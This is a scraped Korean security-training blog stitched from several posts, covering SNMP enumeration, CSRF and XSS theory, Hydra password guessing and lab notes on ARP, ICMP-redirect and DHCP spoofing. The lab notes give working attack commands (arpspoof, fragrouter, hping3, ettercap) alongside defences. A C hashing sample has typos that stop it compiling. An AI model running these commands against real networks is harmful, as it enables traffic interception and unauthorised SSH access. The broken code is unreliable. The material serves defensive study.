SNMP (Simple Network Management Protocol)

-네트워크 관리를 위한 프로토콜

-Manager 와 Agent의 구조로 이루어져 있따.

-Manager : Agent로부터 정보를 제공 받는다

-Agent : Agent가 설치된 시스템의 정보나 네트워크 정보등을 수집하여 MIB형태로 보관

SNMP 데이터 수집 방법

->네트워크를 관리하기 위한 프로토콜이다.


SNMP Version 



->버전의 취약점을 이용한다.



NMS (Network Managemenet System)

-네트워크 상의 자원들을 모니터링하고 제어하기 위한 시스템으로 일반적으로 스위치나 라우터 같은 네트워크 장비들을 관리

-Agent들과 Manager간 정보 교환을 위해 표준화 된 프로토콜인 SNMP나 CMIP등을 사용한다


CMIP (Common Management Information Protocol)

-SNMP와 같은 네트워크 관리 프로토콜

-SNMP보다 시스템 리소르를 많이 소모하는 단점이 있으나, 보안성이 우수하고 능률적으로 네트워크를 관리할 수 있다.

-구조가 너무 복잡해서 사용되지 않는다.

->트리구조로 되어 있다.

SNMP 서비스 탐지

-UDP Port Scanning

nmap -sU -p 161 <IP address>

UDP Scanning의 경우 방홥화벽에 차단되거나 패킷이 유실될 수 있으므로 100% 신뢰할 수 없다.


-SNMP Get Message를 보내는 툴 이용 

cisco -torch.pl -u 192.168.3.254

-community string을 public으로 설정해서 요청하므로 public이 아닌 경우에는 알아낼 수 없다.


Community String 획득


-Community String 획득

-SNMP를 잉이용하여 정보를 수집하거나 설정 값을 변경하기 위위해서는 인증에 설공해야 한다.

-SNMPv1 과 SNMPv2c는 Community String을 이용하여 인증을 수행하므로 Community String을 획득 해야 한다.


-Community String 획득 방법

-Default Community String

-Brute Forcing / Dictionary Attack

-Sniffing


->암호화가 되어 있찌 않으므로 


-net-snmp를 이용하여 시스템의 정보를 수집

snmpwalk -v 2c -c <community> <ip> system

snmpwalk -v 2c -c <community> <ip> interface

snmpwalk -v 2c -c <community> <ip> at

snmpwalk -v 2c -c <community> <ip> ip

snmpwalk -v 2c -c <community> <ip> icmp

snmpwalk -v 2c -c <community> <ip> tcp

snmpwalk -v 2c -c <community> <ip> udp

snmpwalk -v 2c -c <community> <ip> 1.3.6.1.2.1.1.2

etc..




'네트워크보안' 카테고리의 다른 글

Spoofing  (0) 2019.01.20
Spoofing(SSH)  (0) 2019.01.20
Sniffing 공격의 이해  (0) 2019.01.19
Sniffing공격  (0) 2019.01.19
Network Hacking[주요 공격 기법 이해 / 실습 ]  (0) 2019.01.19

CSRF의 특징

 

-Victim에 의해 Request가 발생하기 때문에 공격자의 IP 추적이 어렵다.

-XSS와 달리 자바스크립트를 사용할 수 없는 상황에서도 공격이 가능

 

공격조건

-공격자는 사이트에서 제공하는 해당 기능의 Request/Response를 분석해야 한다.

-사이트가 Session Token만으로 해당 기능의 권한을 인증하고 있을 때 가능

 

CSRF (Cross site Request Forgery)

 

-a.k.a XSRF

-Pronounce C-Surf

-One-click Attack / Zero-click Attack

-사이트에서 제공하는 기능을 신뢰된 사용자의 권한으로 요청하도록 하는 공격

 

-공격자는 악성코드를 읽은 Victim은 자신도 모르게 Request를 서버로 보내게 되고, 서버는 Victim의 권한으로 Request에 대한 처리를 하게 된다.

-즉 Session Hijacking과 유사한 권한 도용 공격이다.

 

공격의 범위

-서버에서 지원하는 모든 기능이 공격범위가 될 수 있다.

-DB를 모두 삭제하는 기능을 관리자에게 지원한다면 공격자는 이 공격을 이용해서 DB삭제도 가능하다.

 

'SW보안' 카테고리의 다른 글

XSS -실습-  (0) 2019.01.20
XSS( CROSS SITE SCRIPTING )  (0) 2019.01.20
World Wide Web  (0) 2019.01.19

백트렉에서 Hydra사용한다.

which hydar

 

 

 

-Web server의 Password를 dictionary Attack을 이용해서 찾으시오

-Web server IP:192.168.41.2

-dictionary File : passwords.txt

기본인증 방식 : hydar이용

기본인증 방식이라 경로 지정 대신 포트로한다.

-V : 자세히

-f 패스워드 찾으면 멈춘다.

이런방식으로도 찾을수 있다.

 

회원등록 페이지의 ID부분 입력 제한이 12문자로 제한되어 있다.

우회하세요

 

XSS(Cross site sripting)

Clietn /server 운영

 

 

'SW보안' 카테고리의 다른 글

CSRF( CROSS SITE REQUEST FORGERY)  (0) 2019.01.20
XSS( CROSS SITE SCRIPTING )  (0) 2019.01.20
World Wide Web  (0) 2019.01.19

Preface

- 요즘의 웹사잍 과거의 정적인 페이지에서 벗어나 동적인 페이지를 제공

- 동적인 페이지에서는 사용자의 입력을 받아 어떤 작업을 처리하므로 사용자로부터 입력된 데이터를 적절히 검증하지 않으면 보안상 취약점이 발생할 수 있다.

-XSS 공격의 경우 서버를 장악하지 않고도 개인정보를 쉽게 유출할 수 있다.

- 요즘 Web2.0 환경으로 변하면서 JavaScript가 널리 사용됨에 따라 AJAX를 이용한 XSS나 UCC (User Create Contents)에 의한 XSS가 재조명 되고 있다.

XSS (cont)

Main Cause

-사용자로부터 입력된 데이터를 적절한 검증 없이 Web Document로 출력하는 경우 발생

-Attacker가 악성 Script를 입력했다면 Victim은 악성스크립트를 신뢰하는 웹 서버가 보낸 것으로 믿고 실행하게 된다.

-XSS는 서버를 공격하는 것이 아니라 서버를 경유하여 클라이언트를 공격하는 것.

 

Impact

-Cookie Access

-DOM (Document Object Mode) Access

-Clipboard Access

-Key logging

 

Type of XSS

Reflective XSS ( non-persistent )

-공격자는 악성 스크립트를 포함한 URL을 Victim에게 노출

-이메일,메신저, 웹 게시판 등을 이용

- 악성스크립트는 서버에 저장되지 않는다.

 

Stored XSS ( persistent )

-공격자는 악성 스크립트를 XSS에 취약한 웹 서버에 저장

- 웹 게시판, 방명록 등

-공격자는 해당 게시물을 Victim에게 노출시킨다.

 

XSS에 취약한 페이지 유형

-HTML을 지원하는 게시판

-Search Page

-Personalize Page

-Join Form Page

-Referer 를 이용하는 Page

-그 외 사용자로부터 입력 받아 화면에 출력하는 모든 페이지에서 발생 가능하다.

 

 

 

 

 

 

 

'SW보안' 카테고리의 다른 글

CSRF( CROSS SITE REQUEST FORGERY)  (0) 2019.01.20
XSS -실습-  (0) 2019.01.20
World Wide Web  (0) 2019.01.19

window XP : 10.10.10.10
web server : 10.10.10.20
ssh server : 10.10.10.22
Attacker : 10.10.10.30
GW : 10.10.10.1

Sniffing을 사용하기위한 선행작업
------------------------------------------------------------------
Router Nat 설정
내부IP : 10.10.10.x // 255.255.255.0
외부IP : DHCP
conf t
access-list 1 permit 10.10.10.0 0.0.0.255
!
ip nat inside source list 1 int f0/1 overload
!
int f0/0
ip nat inside
!
int f0/1
ip nat outside
!
end
------------------------------------------------------------------
icmpush -vv -red -sp [GW] -gw [redi-GW] -dest [Destination] -c host [victime]
ex ) icmpush -vv -red -sp 10.10.10.1 -gw 10.10.10.30 -dest 100.100.100.0 -c host 10.10.10.10
칼리 리눅스는 안되서 hping3으로 대체해야함
ec ) hping3 -1 --icmptype 5 --icmpcode 1 -a 10.10.10.1 --icmp-ipdst 100.100.100.100 icmp-gw 10.10.10.30 --icmp-ipsrc 10.10.10.10
------------------------------------------------------------------
macof ( swich jamming 공격 ) : 스위치를 바쁘게 하여 허브처럼 동작을 하게 만드는 방법 ( 패킷이 가끔 공격자에게 넘어온다 )
------------------------------------------------------------------
victim : 10.10.10.10
GW : 10.10.10.1
attacker : 10.10.10.30
arpspoof -i eth0 -t 10.10.10.10 10.10.10.1 (arp 속이기)
 : 패킷은 보내지지만 도착하지 않기 떄문에 forwarding 필요
echo 1 > /proc/sys/net/ipv4/ip_forward
 : tracert로 확인하면 10.10.10.30을 거쳐가는것이 보임

fragrouter -B1
 : tracert로 확인하면 10.10.10.30을 거쳐가는것이 보이지 않음

[실습] GW와 Host간 전달되는 모든 Packet을 Sniffing 해보고, Sniffing이 가능하지 않게 적절히 방어하세요.
 - 공격 arpspoof -i eth0 -t 10.10.10.10 10.10.10.1
 arpspoof -i eht0 -t 10.10.10.1 10.10.10.10
 fragrouter -B1
 - 방어 arp -s 10.10.10.1 c2-01-21-70-00-00 (host)
 arp 10.10.10.10 000c.2992.f49f arpa (router)

arp를 static으로 설정해도 reboot후 지워진다.
arp static cmd command 를 bat파일로 만든후 시작프로그램에 등록하면된다.
------------------------------------------------------------------
sterm : IP를 속여서 telnet접근을 하는것.
------------------------------------------------------------------
linux에서 설정이 잘 되지 않을때
vi /etc/udev/rules.d/70-persistent-net.rules
------------------------------------------------------------------
가상인터페이스를 만들어서 ssh 접근하기 ( ssh서버는 10.10.10.22 )
ifconfig eth0:0 100.100.100.100 netmask 255.255.255.0 up
ssh -b 100.100.100.100 10.10.10.22

ssh 서버에서 100.100.100.100의 위치를 모르기 때문에
attacker에서 ssh서버의 GW를 자신으로 arpspoof를 하면 된다.
arpspoof -i eth0 -t 10.10.10.22 10.10.10.1
fragrouter -B1
------------------------------------------------------------------
linux에서 통신 통제 ( TCP Wrapper )
/etc/hosts.allow
/etc/hosts.deny
바로 위 처럼 arpspoof를 통해 다른 IP로 ssh접근하는것을 막기위해서는
vi /etc/hosts.deny 로 들어가서
sshd : 100.100.100.100
sshd : 10.10.10.30
을 추가해주면 100.100.100.100 과 10.10.10.30 은 ssh접근이 막힌다.
만약 거부한IP에서 접근을 했을때 tail /var/log/secure 을 보게되면 refused로 거부됐다는것이 기록되어있다.
이것은 다른 IP로 우회할수 있기 때문에 deny보다는 allow에 설정한 후 deny에 모두 차단하는것이 좋다.
allow가 deny보다 우선순위가 높기 때문이다.
모두 선택하려면 all [ ex ) all : all ]
------------------------------------------------------------------
[실습] 위협을 느낀 SSH 서버 관리자가 자신의 IP주소만 접속 할 수 있도록 필터링 정책을 적용했다.
WinXP에서 SSH 서버에 접속하고 적업 중이라 가정한다.
공격자에서 접근 허용되어 있는 IP주소를 알아내고 알아 낸 IP 주소를 이용해 SSH 서버에 접속 가능한지 확인하세요.
현 상황에서의 적절한 방어대책을 수립하세요.
 - 공격 : nmap으로 스캔후 활성화 되어있는 IP로 차례대로 접근해본다. ( nmap -sP 10.10.10.0/24 )
 - 접근방법
1. Attacker에서 가상인터페이스를 만든다. ( ifconfig eth0:0 10.10.10.10 netmask 255.255.255.0 up )
2. arpspoof로 ssh서버의 10.10.10.10 arp를 수정 ( arpspoof -i eth0 -t 10.10.10.22 10.10.10.10 )
3. 접근 ( ssh -b 10.10.10.10 10.10.10.22 )
------------------------------------------------------------------
Window XP : 10.10.10.10/24 || GW : 10.10.10.1
Attacker : 20.20.20.20/24 || GW : 20.20.20.1
hping3 -S 10.10.10.1 -a 192.168.100.1
패킷의 source addr이 192.168.100.1로 변경된 상태에서 10.10.10.1로 전송됨
Router에서 Attacker쪽 포트에 ip verify unicast reverse-path 를 입력
똑같이 hping3을 이용하여 패킷을 보냈을때 Window XP에 패킷이 오지 않음.
------------------------------------------------------------------
Window XP : DHCP
Attacker : 10.10.10.30
Web Server : 10.10.10.20
DNS Server : 10.10.10.22

# Router에서 DHCP 서버 역할 하기
 - 제외할 IP 설정
R1(config)#ip dhcp excluded-address [IP]
 - DHCP 설정
R1(config)#ip dhcp pool [name]
R1(dhcp-config)#network [first_addr] [last_addr]
R1(dhcp-config)#dns-server [IP]
R1(dhcp-config)#default-router [Gateway IP]

ettercap -T -M dhcp:10.10.10.100-200/255.255.255.0/10.10.10.22
Discover패킷이 Broadcast로 전송
Offer패킷을 Attacker가 DHCP서버보다 빠르게 보냄
Request패킷 후 ACK패킷을 Attacker에서 보냄
 - DHCP 원리
1. Client에서 Discorver 패킷을 broadcast로 전송
2. 각 DHCP 서버에서 Offer 패킷을 broadcast로 전송
3. Client에서 Request 패킷을 broadcast로 전송
4. 각 DHCP 서버에서 ACK 패킷을 broadcast로 전송
5. ACK패킷중 제일 먼저 온 패킷을 사용 ( 제일 먼저 할당된 IP 사용 )

vim /usr/local/etc/etter.conf 에서 임대기간을 늘릴 수 있다.
 -> dhcp_lease_time을 늘려주면 된다.
------------------------------------------------------------------

 

'네트워크보안' 카테고리의 다른 글

SNMP란?  (0) 2019.01.24
Spoofing(SSH)  (0) 2019.01.20
Sniffing 공격의 이해  (0) 2019.01.19
Sniffing공격  (0) 2019.01.19
Network Hacking[주요 공격 기법 이해 / 실습 ]  (0) 2019.01.19

ipsspoofing에서 했던 내용이다.

백트랙으로 가서

백트랙만 접속 가능하게 설정한뒤 단 XP에서는 접속이 안된다.

IP를 속여서 접속

라우터에서 Show user 로 사용자 IP 확인

패킷까지 확인해본다.

백트렉에서 SSH서버로 접근하는데 마치 외부에서 접근하는것 처럼 로그가 남게 접속 해보겠다.

우선 가상의 네트워크를 만들어준 다음

이 IP가 접근한 것 처럼

-b옵션을 써서 SA로 바꿔준다

 

->패킷이 가기만 가고 돌아오지는 않는다.

돌아오는 패킷을 잡아야하는데 arp를 spooping해줘야한다.

ssh서버에서 게이트웨이를 공격자로 인식하게 설정해야된다.

 

TCP Wrapper

ls -al /etc/hosts.allow

ls -al /etc/hosts.deny

 

sshd:100.100.100.100

sshd:10.10.10.30

? 아까와 같이 접속했음에도 불구하고 접속이 차단된다..

다른 IP로 우회 가능하다.

deny보단 allow로 설정

 

'네트워크보안' 카테고리의 다른 글

SNMP란?  (0) 2019.01.24
Spoofing  (0) 2019.01.20
Sniffing 공격의 이해  (0) 2019.01.19
Sniffing공격  (0) 2019.01.19
Network Hacking[주요 공격 기법 이해 / 실습 ]  (0) 2019.01.19

■ Winlogon

- 윈도우 로그인 프로세스                   로그온 시 winlogon 실행


LSA ( Local Security Authority )

- 계정 로그인 검증

- 접근 권한 검사

- SID 검증

- 감사로그 생성


SAM ( Security Accounts Manager )

- 사용자/그룹 계정 정보에 대한 데이터베이스

- 입력 정보와 SAM 데이터베이스 정보를 비교하여 인증 여부 결정

- 윈도우 SAM 파일의 위치 - %SystemRoot%\system32\config\sam

- 시스템 부팅 시 접근제한 파일


SRM ( Security Reference Monitor ) 

- SID ( Security Identifier) 를 부여            로그온 정보가 일치하면 로그인 전 권한 부여

- SID 기반 파일/디렉토리 접근(access) 제어

- 감사 로그 생성

 

 

'System보안' 카테고리의 다른 글

PassWord Cracking  (0) 2019.01.19

#해시와 암호화

- 암호화는 평문을 암호화 하여 암호문을 다시 복호화하여 평문을 얻을 수 있다.

- 해시는 평문을 해싱 후 해시결과물로 다시 역해싱하여 평문을 얻을 수 없다.

 

PassWord Cracking

* Crack Type

- 사회공학 기법  < 협박, 몰래 탈취, 소리로 유추 등

- 사전 대입 공격 <Dictionary 사전에 알고 있는 정보를 활용

- 무차별 대입 공격 < 0000~9999 까지

- 레인보우 테이블 공격 < 해시값 비교..(17")

 

* Salt ( 소금, 조미료 )

- 해시를 이용한 패스워드 구성 시 똑같은 해시 결과값 생성

- 취약한 패스워드를 생성 방지   

- 레인보우 테이블 공격에 대한 시간 지연

 

유닉스 해시 생성 구현 실습

vim test.c

 

  1 #include <stdio.h>

  2 #include <string.h>

  3 #include <unustd.h>

  4 #include <crypt.h>

  5 #include <stdlib.h>

  6

  7 int main(void)

  8 {

  9         char *pHash;

 10         char *pWord;

 11         char* pResult;

 12

 13         pHash = (char*) calloc(20, sizeof(char));

 14         pWord - (char*) calloc(30, sizeof(char));

 15

 16         strcpy(pWord, "itbank");

 17         strcpy(pHash, "$6$PdQrQS7NuYxQKuJq$");

 18         pResult = crypt(pWord, pHash);

 19         printf("%s \n"), pResult);

 20         free(pWord);

 21         free(pHash);

 22         return 0;

 23 }

 

비밀번호 -> JZirzXwYSBahJo0vsIDLvuD4Y5c3Dmuh3kX1T2eEfrcxP.UNwT7E5OkLAC/U4N8W3nRdJEOg0CdbjM46YVi4I 값으로는 유추 가능

반대로는 불가능 하기 때문에 $6$UXXjOh06G8f4vigN$ 값을 알아온 뒤에 무한으로 맞춰보기

 

'System보안' 카테고리의 다른 글

윈도우 인증 및 패스워드  (0) 2019.01.19

+ Recent posts